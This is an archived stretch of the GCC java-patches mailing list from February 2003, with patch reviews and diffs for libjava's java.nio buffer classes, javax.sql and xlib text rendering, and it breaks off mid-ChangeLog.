(MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.nio - exception rewrite References: <200302071130.57284.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Content: 80% POLYESTER, 20% DACRON.. The waitress's UNIFORM sheds TARTAR SAUCE like an 8'' by 10'' GLOSSY.. Date: 10 Feb 2003 20:51:26 -0700 In-Reply-To: <200302071130.57284.konqueror@gmx.de> Message-ID: <87u1fbv5j5.fsf@fleche.redhat.com> Lines: 9 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I have rewritten two exceptions in java.nio to match the ones Michael> from SUN for serialization. Please review and comment. Looks good. I'm checking in to the 3.3 branch; please commit to the trunk. Tom From java-patches-return-6048-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 04:14:32 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12238 invoked by alias); 11 Feb 2003 04:14:31 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12231 invoked from network); 11 Feb 2003 04:14:31 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 11 Feb 2003 04:14:31 -0000 Received: from fleche.redhat.com (tq0103.peakpeak.com [207.174.177.103]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id VAA02070; Mon, 10 Feb 2003 21:13:29 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 3F73E4F8072; Mon, 10 Feb 2003 21:02:59 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.nio - new files References: <200302071133.41221.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: My pants just went to high school in the Carlsbad Caverns!!! Date: 10 Feb 2003 21:02:58 -0700 In-Reply-To: <200302071133.41221.konqueror@gmx.de> Message-ID: <87ptpzv4zx.fsf@fleche.redhat.com> Lines: 13 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> The attached patch with 2 new files is needed in java.nio. Michael> They are not compiled yet by default. This will come later. Michael> Please review and comment. Looks good. Again, I've put it into 3.3. I think you can just check in all non-native java.nio code. For that matter, native code not requiring configure work is also ok. You know this area better than anybody... Tom From java-patches-return-6049-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 04:15:30 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12705 invoked by alias); 11 Feb 2003 04:15:30 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12580 invoked from network); 11 Feb 2003 04:15:30 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 11 Feb 2003 04:15:30 -0000 Received: from fleche.redhat.com (tq0103.peakpeak.com [207.174.177.103]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id VAA02453; Mon, 10 Feb 2003 21:15:29 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 70FE44F8072; Mon, 10 Feb 2003 21:04:56 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.nio - *Buffer cleanup References: <200302071132.27721.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'm EXCITED!! I want a FLANK STEAK WEEK-END!! I think I'm JULIA CHILD!! Date: 10 Feb 2003 21:04:56 -0700 In-Reply-To: <200302071132.27721.konqueror@gmx.de> Message-ID: <87lm0nv4wn.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I have cleaned up the buffer classes in java.nio to match the Michael> API from SUN. These classes are currently not compiled (in Michael> CVS). So changes make no troubles. Please review and comment. Thanks, I've put this into 3.3. Please check in to the trunk. Tom From java-patches-return-6050-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 04:16:39 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13041 invoked by alias); 11 Feb 2003 04:16:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13034 invoked from network); 11 Feb 2003 04:16:39 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 11 Feb 2003 04:16:39 -0000 Received: from fleche.redhat.com (tq0103.peakpeak.com [207.174.177.103]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id VAA02688; Mon, 10 Feb 2003 21:16:38 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 106314F8072; Mon, 10 Feb 2003 21:06:08 -0700 (MST) To: Andreas Tobler Cc: "Boehm, Hans" , java-patches Subject: Re: [PATCH] undef MPROTECT_VDB for darwin? References: <3E434813.1000608@pop.agri.ch> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: LOOK!!! I'm WALKING in my SLEEP again!! Date: 10 Feb 2003 21:06:07 -0700 In-Reply-To: <3E434813.1000608@pop.agri.ch> Message-ID: <87hebbv4uo.fsf@fleche.redhat.com> Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andreas" == Andreas Tobler writes: Andreas> may I apply the following patch to gcc 3.3 and 3.4? Andreas> Or do you plan to import the latest sources soon? I vaguely Andreas> remember that you don't do so on 3.3? You might as well put this in now. We'd like to import the GC for the release, but I suppose there's a chance that lack of time will prevent that. (I don't know yet.) So putting this in is an improvement, and if we do upgrade it won't have hurt us. Tom From java-patches-return-6051-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 04:28:12 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15336 invoked by alias); 11 Feb 2003 04:28:12 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15329 invoked from network); 11 Feb 2003 04:28:11 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 11 Feb 2003 04:28:11 -0000 Received: from fleche.redhat.com (tq0103.peakpeak.com [207.174.177.103]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id VAA04756; Mon, 10 Feb 2003 21:28:09 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 92B1B4F8072; Mon, 10 Feb 2003 21:17:39 -0700 (MST) To: "Scott Gilbertson" Cc: Subject: Re: PATCH: xlib support for 16-bit characters when rendering text References: <021701c2cbd0$932162b0$3c16a8c0@mantatest.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: LOOK!! Sullen American teens wearing MADRAS shorts and ``Flock of Seagulls'' HAIRCUTS! Date: 10 Feb 2003 21:17:39 -0700 In-Reply-To: <021701c2cbd0$932162b0$3c16a8c0@mantatest.com> Message-ID: <87d6lzv4bg.fsf@fleche.redhat.com> Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Scott" == Scott Gilbertson writes: Scott> The following patch (taken against the 3.3 branch) causes the Scott> xlib peers to use 16-bit characters when rendering text. I Scott> have tried it with ISO10646-1 and 8-bit fonts, and it seems OK Scott> to me. Scott> + XChar2b xwchars[length]; Scott> + for (int i=0; i + { Scott> + XChar2b* xc = &(xwchars[i]); Scott> + jchar jc = txt[i]; Scott> + xc->byte1 = (jc >> 8) & 0xff; Scott> + xc->byte2 = jc & 0xff; Scott> + } Scott> + return XTextWidth16(fontStruct, xwchars, length); Is the argument to XTextWidth16 really UCS-2? I'm wondering if it is locale dependent or something like that. Do you have a reference to what is correct? I'm concerned that this may work in some situations but not others. In that case we'd need to use some other method to get the encoding correct. Tom From java-patches-return-6052-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 05:06:58 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 32066 invoked by alias); 11 Feb 2003 05:06:58 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 32059 invoked from network); 11 Feb 2003 05:06:58 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 11 Feb 2003 05:06:58 -0000 Received: from fleche.redhat.com (tq0103.peakpeak.com [207.174.177.103]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id WAA11866; Mon, 10 Feb 2003 22:06:56 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id D6B934F8072; Mon, 10 Feb 2003 21:56:26 -0700 (MST) To: Java Patch List Subject: Patch: FYI: java.sql fixlet From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: HAIR TONICS, please!! Date: 10 Feb 2003 21:56:26 -0700 Message-ID: <87lm0ntnyd.fsf@fleche.redhat.com> Lines: 58 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to 3.3 and 3.4. This fixes a minor spec divergence in java.sql. With this change, java.sql should be 100% spec compliant. Tom Index: ChangeLog from Tom Tromey * javax/sql/ConnectionEvent.java (serialVersionUID): New field. (ex): Renamed from sqlException. Index: javax/sql/ConnectionEvent.java =================================================================== RCS file: /cvsroot/classpath/classpath/javax/sql/ConnectionEvent.java,v retrieving revision 1.1 diff -u -r1.1 ConnectionEvent.java --- javax/sql/ConnectionEvent.java 21 Jun 2002 05:34:12 -0000 1.1 +++ javax/sql/ConnectionEvent.java 11 Feb 2003 05:03:58 -0000 @@ -1,5 +1,5 @@ /* ConnectionEvent.java - Copyright (C) 2002 Free Software Foundation, Inc. + Copyright (C) 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -46,8 +46,11 @@ */ public class ConnectionEvent extends EventObject { - private SQLException sqlException; - + private static final long serialVersionUID = -4843217645290030002L; + + // Note that the name is chosen for serialization. + private SQLException ex; + /** * @since 1.4 */ @@ -62,7 +65,7 @@ public ConnectionEvent(PooledConnection con, SQLException ex) { super(con); - this.sqlException = ex; + this.ex = ex; } /** @@ -70,6 +73,6 @@ */ public SQLException getSQLException() { - return sqlException; + return ex; } } From java-patches-return-6053-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 05:29:55 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2745 invoked by alias); 11 Feb 2003 05:29:55 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2737 invoked from network); 11 Feb 2003 05:29:54 -0000 Received: from unknown (HELO mail02.agrinet.ch) (212.28.134.115) by 172.16.49.205 with SMTP; 11 Feb 2003 05:29:54 -0000 Received: from pop.agri.ch (217.162.33.222) by mail02.agrinet.ch (7.0.008) (authenticated as toa@pop.agri.ch) id 3E4318FD00029298; Tue, 11 Feb 2003 06:29:51 +0100 Message-ID: <3E488A4B.6080804@pop.agri.ch> Date: Tue, 11 Feb 2003 06:29:47 +0100 From: Andreas Tobler User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.3a) Gecko/20021212 X-Accept-Language: en-us, en MIME-Version: 1.0 To: tromey@redhat.com CC: "Boehm, Hans" , java-patches Subject: Re: [PATCH] undef MPROTECT_VDB for darwin? References: <3E434813.1000608@pop.agri.ch> <87hebbv4uo.fsf@fleche.redhat.com> In-Reply-To: <87hebbv4uo.fsf@fleche.redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Tom Tromey wrote: >>>>>>"Andreas" == Andreas Tobler writes: > > > Andreas> may I apply the following patch to gcc 3.3 and 3.4? > > Andreas> Or do you plan to import the latest sources soon? I vaguely > Andreas> remember that you don't do so on 3.3? > > You might as well put this in now. For both 3.3 and 3.4? > > We'd like to import the GC for the release, but I suppose there's a > chance that lack of time will prevent that. (I don't know yet.) So > putting this in is an improvement, and if we do upgrade it won't have > hurt us. True, yes. For which release? 3.3? Should be soon..? Thanks, Andreas From java-patches-return-6054-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 07:44:39 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19513 invoked by alias); 11 Feb 2003 07:44:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19506 invoked from network); 11 Feb 2003 07:44:38 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.10) by 172.16.49.205 with SMTP; 11 Feb 2003 07:44:38 -0000 Received: from 192.168.1.3 (dynadsl-080-228-69-251.ewetel.net [80.228.69.251]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h1B7iZbq023539 for ; Tue, 11 Feb 2003 08:44:36 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] Date: Tue, 11 Feb 2003 08:44:37 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_lnKS+IrAVZqvzTk" Message-Id: <200302110844.41293.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_lnKS+IrAVZqvzTk Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commeted the attached patch to make java.nio compile. Tom: Perhaps this should go into 3.3 too. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+SKnpWSOgCCdjSDsRAvBfAJsFmwULGnf/ar7TPB4hKbXa+IcPBACfUWMx 0QvQYJd2iCltVF9lJwsFc74=3D =3DNRus =2D----END PGP SIGNATURE----- --Boundary-00=_lnKS+IrAVZqvzTk Content-Type: text/x-diff; charset="iso-8859-15"; name="buffers.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="buffers.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1676 diff -u -r1.1676 ChangeLog --- ChangeLog 11 Feb 2003 06:51:34 -0000 1.1676 +++ ChangeLog 11 Feb 2003 07:41:38 -0000 @@ -1,5 +1,49 @@ 2003-02-11 Michael Koch + * java/nio/Buffer.java + (cap, lim, pos, mark): Made private + (Buffer): Added package private constructor. + * java/nio/ByteBuffer.java + (ByteBuffer): Implements Cloneable. + (offset): New member variable. + (readOnly): New member variable. + (backing_buffer): New member variable. + (allocateDirect): Throw exception and tell that direct buffers are + not supported yet, documentation added. + (allocate): Documentation added. + (wrap): Documentation added. + (ByteBuffer): New constructor. + (hasArray): New method. + (array): New method. + (arrayOffset): New method. + (get): Documentation added. + (put): Documentation added. + * java/nio/CharBuffer.java + (CharBuffer): New constructor. + (compareTo): Don't access member variables of Buffer directly. + * java/nio/DoubleBuffer.java + (allocateDirect): Throw exception and tell that direct buffers are + not supported yet. + * java/nio/FloatBuffer.java + (allocateDirect): Throw exception and tell that direct buffers are + not supported yet. + * java/nio/IntBuffer.java + (allocateDirect): Throw exception and tell that direct buffers are + not supported yet. + * java/nio/LongBuffer.java + (allocateDirect): Throw exception and tell that direct buffers are + not supported yet. + * java/nio/MappedByteBuffer.java + (MappedByteBuffer): New method. + (force): New method. + (isLoaded): New method. + (load): New method. + * java/nio/ShortBuffer.java + (allocateDirect): Throw exception and tell that direct buffers are + not supported yet. + +2003-02-11 Michael Koch + * java/nio/DoubleBuffer.java (DoubleBuffer): Implements Comparable. (endian): Removed. Index: java/nio/Buffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/Buffer.java,v retrieving revision 1.2 diff -u -r1.2 Buffer.java --- java/nio/Buffer.java 13 Nov 2002 12:21:25 -0000 1.2 +++ java/nio/Buffer.java 11 Feb 2003 07:41:38 -0000 @@ -39,11 +39,33 @@ public abstract class Buffer { - int cap = 0; - int limit = 0; - int pos = 0; - int mark = -1; + private int cap = 0; + private int limit = 0; + private int pos = 0; + private int mark = -1; + // Creates a new Buffer. + // + // Should be package private. + // + Buffer (int capacity, int limit, int position, int mark) + { + if (capacity < 0) + throw new IllegalArgumentException (); + + cap = capacity; + limit (limit); + position (position); + + if (mark > 0) + { + if (mark > pos) + throw new IllegalArgumentException (); + + this.mark = mark; + } + } + /** * Retrieves the capacity of the buffer. */ Index: java/nio/ByteBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/ByteBuffer.java,v retrieving revision 1.3 diff -u -r1.3 ByteBuffer.java --- java/nio/ByteBuffer.java 13 Nov 2002 18:43:20 -0000 1.3 +++ java/nio/ByteBuffer.java 11 Feb 2003 07:41:38 -0000 @@ -37,43 +37,178 @@ package java.nio; -public abstract class ByteBuffer extends Buffer +/** + * @since 1.4 + */ +public abstract class ByteBuffer extends Buffer implements Comparable { + int offset; + boolean readOnly; + byte[] backing_buffer; + + /** + * Allocates a new direct byte buffer. + */ + public static ByteBuffer allocateDirect (int capacity) + { + throw new Error ("direct buffers are not implemented"); + } + + /** + * Allocates a new byte buffer. + */ public static ByteBuffer allocate (int capacity) { return null; } + /** + * Wraps a byte array into a buffer. + * + * @exception IndexOutOfBoundsException If the preconditions on the offset + * and length parameters do not hold + */ final public static ByteBuffer wrap (byte[] array, int offset, int length) { return null; } + /** + * Wraps a byte array into a buffer. + */ final public static ByteBuffer wrap (byte[] array) { return wrap (array, 0, array.length); } - - final public ByteBuffer put (ByteBuffer src) + + ByteBuffer (int capacity, int limit, int position, int mark) { + super (capacity, limit, position, mark); + } + + /** + * Writes the content of src into the buffer. + * + * @param src The source data. + * + * @exception BufferOverflowException If there is insufficient space in this + * buffer for the remaining bytes in the source buffer. + * @exception IllegalArgumentException If the source buffer is this buffer. + * @exception ReadOnlyBufferException If this buffer is read only. + */ + public ByteBuffer put (ByteBuffer src) + { + if (src == this) + throw new IllegalArgumentException (); + while (src.hasRemaining ()) put (src.get ()); return this; } - - final public ByteBuffer put (byte[] src, int offset, int length) - { + + /** + * Writes the content of the the array src into the buffer. + * + * @param src The array to copy into the buffer. + * @param offset The offset within the array of the first byte to be read; + * must be non-negative and no larger than src.length. + * @param length The number of bytes to be read from the given array; + * must be non-negative and no larger than src.length - offset. + * + * @exception BufferOverflowException If there is insufficient space in this + * buffer for the remaining bytes in the source buffer. + * @exception IndexOutOfBoundsException If the preconditions on the offset + * and length parameters do not hold. + * @exception ReadOnlyBufferException If this buffer is read only. + */ + public ByteBuffer put (byte[] src, int offset, int length) + { + if ((offset < 0) || + (offset > src.length) || + (length < 0) || + (length > src.length - offset)) + throw new IndexOutOfBoundsException (); + for (int i = offset; i < offset + length; i++) put (src [i]); + return this; } + + /** + * Writes the content of the the array src into the buffer. + * + * @param src The array to copy into the buffer. + * + * @exception BufferOverflowException If there is insufficient space in this + * buffer for the remaining bytes in the source buffer. + * @exception ReadOnlyBufferException If this buffer is read only. + */ public final ByteBuffer put (byte[] src) { return put (src, 0, src.length); } + /** + * Tells whether or not this buffer is backed by an accessible byte array. + */ + public final boolean hasArray () + { + return (backing_buffer != null + && !readOnly); + } + + /** + * Returns the byte array that backs this buffer. + * + * @exception ReadOnlyBufferException If this buffer is backed by an array + * but is read-only. + * @exception UnsupportedOperationException If this buffer is not backed + * by an accessible array. + */ + public final byte[] array () + { + if (backing_buffer == null) + throw new UnsupportedOperationException (); + + if (readOnly) + throw new ReadOnlyBufferException (); + + return backing_buffer; + } + + /** + * Returns the offset within this buffer's backing array of the first element + * of the buffer + * + * @exception ReadOnlyBufferException If this buffer is backed by an array + * but is read-only. + * @exception UnsupportedOperationException If this buffer is not backed + * by an accessible array. + */ + public final int arrayOffset () + { + if (backing_buffer == null) + throw new UnsupportedOperationException (); + + if (readOnly) + throw new ReadOnlyBufferException (); + + return offset; + } + + /** + * Relative get method. + */ public abstract byte get (); + /** + * Relative put method. + * + * @exception BufferOverflowException If this buffer's current position is + * not smaller than its limit. + * @exception ReadOnlyBufferException If this buffer is read-only. + */ public abstract ByteBuffer put (byte b); } Index: java/nio/CharBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/CharBuffer.java,v retrieving revision 1.1 diff -u -r1.1 CharBuffer.java --- java/nio/CharBuffer.java 13 Nov 2002 12:21:25 -0000 1.1 +++ java/nio/CharBuffer.java 11 Feb 2003 07:41:38 -0000 @@ -88,6 +88,11 @@ { return wrap (array, 0, array.length); } + + CharBuffer (int cap, int lim, int pos, int mark) + { + super (cap, lim, pos, mark); + } /** * @exception BufferUnderflowException FIXME @@ -197,8 +202,8 @@ return 1; int r = remaining (); - int i1 = pos; - int i2 = a.pos; + int i1 = position (); + int i2 = a.position (); for (int i = 0; i < r; i++) { Index: java/nio/DoubleBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/DoubleBuffer.java,v retrieving revision 1.2 diff -u -r1.2 DoubleBuffer.java --- java/nio/DoubleBuffer.java 11 Feb 2003 06:51:34 -0000 1.2 +++ java/nio/DoubleBuffer.java 11 Feb 2003 07:41:38 -0000 @@ -46,7 +46,7 @@ public static DoubleBuffer allocateDirect(int capacity) { - return new DoubleBufferImpl(capacity, 0, capacity); + throw new Error ("direct buffers are not implemented"); } public static DoubleBuffer allocate(int capacity) Index: java/nio/FloatBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/FloatBuffer.java,v retrieving revision 1.2 diff -u -r1.2 FloatBuffer.java --- java/nio/FloatBuffer.java 11 Feb 2003 06:51:34 -0000 1.2 +++ java/nio/FloatBuffer.java 11 Feb 2003 07:41:38 -0000 @@ -46,7 +46,7 @@ public static FloatBuffer allocateDirect(int capacity) { - return new FloatBufferImpl (capacity, 0, capacity); + throw new Error ("direct buffers not implemented"); } public static FloatBuffer allocate(int capacity) Index: java/nio/IntBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/IntBuffer.java,v retrieving revision 1.2 diff -u -r1.2 IntBuffer.java --- java/nio/IntBuffer.java 11 Feb 2003 06:51:34 -0000 1.2 +++ java/nio/IntBuffer.java 11 Feb 2003 07:41:38 -0000 @@ -46,7 +46,7 @@ public static IntBuffer allocateDirect(int capacity) { - return new IntBufferImpl (capacity, 0, capacity); + throw new Error ("direct buffers not implemented"); } public static IntBuffer allocate(int capacity) Index: java/nio/LongBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/LongBuffer.java,v retrieving revision 1.2 diff -u -r1.2 LongBuffer.java --- java/nio/LongBuffer.java 11 Feb 2003 06:51:34 -0000 1.2 +++ java/nio/LongBuffer.java 11 Feb 2003 07:41:38 -0000 @@ -46,7 +46,7 @@ public static LongBuffer allocateDirect(int capacity) { - return new LongBufferImpl(capacity, 0, capacity); + throw new Error ("direct buffers not implemented"); } public static LongBuffer allocate(int capacity) Index: java/nio/MappedByteBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/MappedByteBuffer.java,v retrieving revision 1.1 diff -u -r1.1 MappedByteBuffer.java --- java/nio/MappedByteBuffer.java 7 Oct 2002 13:12:42 -0000 1.1 +++ java/nio/MappedByteBuffer.java 11 Feb 2003 07:41:38 -0000 @@ -37,6 +37,29 @@ package java.nio; +/** + * @author Michael Koch + * @since 1.4 + */ public abstract class MappedByteBuffer extends ByteBuffer { + MappedByteBuffer (int capacity, int limit, int position, int mark) + { + super (capacity, limit, position, mark); + } + + public final MappedByteBuffer force () + { + return this; + } + + public final boolean isLoaded () + { + return true; + } + + public final MappedByteBuffer load () + { + return this; + } } Index: java/nio/ShortBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/ShortBuffer.java,v retrieving revision 1.2 diff -u -r1.2 ShortBuffer.java --- java/nio/ShortBuffer.java 11 Feb 2003 06:51:34 -0000 1.2 +++ java/nio/ShortBuffer.java 11 Feb 2003 07:41:38 -0000 @@ -46,7 +46,7 @@ public static ShortBuffer allocateDirect(int capacity) { - return new ShortBufferImpl(capacity, 0, capacity); + throw new Error ("direct buffers not implemented"); } public static ShortBuffer allocate(int capacity) --Boundary-00=_lnKS+IrAVZqvzTk-- From java-patches-return-6055-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 09:46:05 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26714 invoked by alias); 11 Feb 2003 09:46:04 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26707 invoked from network); 11 Feb 2003 09:46:02 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by 172.16.49.205 with SMTP; 11 Feb 2003 09:46:02 -0000 Received: from 192.168.1.3 (dynadsl-080-228-74-117.ewetel.net [80.228.74.117]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h1B9jxwt029620 for ; Tue, 11 Feb 2003 10:46:00 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] more java.nio stuff Date: Tue, 11 Feb 2003 10:46:01 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_ZZMS+Nbam1PUC2d" Message-Id: <200302111046.04828.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_ZZMS+Nbam1PUC2d Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited another patch for java.nio. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+SMZcWSOgCCdjSDsRAtvVAKCS8ma6bgrPMF2Iz8GvudJbA8BsLQCcDY/q IL/QeLKbzzRyNFxSg9JMVnE=3D =3DeYj2 =2D----END PGP SIGNATURE----- --Boundary-00=_ZZMS+Nbam1PUC2d Content-Type: text/x-diff; charset="iso-8859-15"; name="buffers-2.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="buffers-2.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1676 diff -u -r1.1676 ChangeLog --- ChangeLog 11 Feb 2003 06:51:34 -0000 1.1676 +++ ChangeLog 11 Feb 2003 09:43:22 -0000 @@ -1,5 +1,70 @@ 2003-02-11 Michael Koch + * gnu/java/nio/natCharBufferImpl.cc + (nio_cast): Removed. + (nio_put_*): Removed. + (nio_get_*): Removed. + * gnu/java/nio/natDoubleBufferImpl.cc + (nio_cast): Removed. + (nio_put_*): Removed. + (nio_get_*): Removed. + * gnu/java/nio/natFloatBufferImpl.cc + (nio_cast): Removed. + (nio_put_*): Removed. + (nio_get_*): Removed. + * gnu/java/nio/natIntBufferImpl.cc + (nio_cast): Removed. + (nio_put_*): Removed. + (nio_get_*): Removed. + * gnu/java/nio/natLongBufferImpl.cc + (nio_cast): Removed. + (nio_put_*): Removed. + (nio_get_*): Removed. + * gnu/java/nio/natShortBufferImpl.cc + (nio_cast): Removed. + (nio_put_*): Removed. + (nio_get_*): Removed. + * gnu/java/nio/SelectorProviderImpl.java + (openDatagramChannel): Throws IOException. + (openPipe): Throws IOException. + (openSelector): Throws IOException. + (openServerSocketChannel): Throws IOException. + (openSocketChannel): Throws IOException. + * gnu/java/nio/ServerSocketChannelImpl.java + (ServerSocketChannelImpl): Throws IOException. + (implCloseSelectableChannel): Throws IOException. + (implConfigureBlocking): Throws IOException. + * java/nio/ByteBuffer.java + (readOnly): Removed. + (hasArray): Use isReadOnly() instead of readOnly. + (array): Use isReadOnly() instead of readOnly. + (arrayOffset): Use isReadOnly() instead of readOnly. + * java/nio/CharBuffer.java + (CharBuffer): Implements Cloneable and CharSequence. + * Makefile.am + (ordinary_java_source_files): Added the following files: + gnu/java/nio/ByteBufferImpl.java + gnu/java/nio/CharBufferImpl.java + 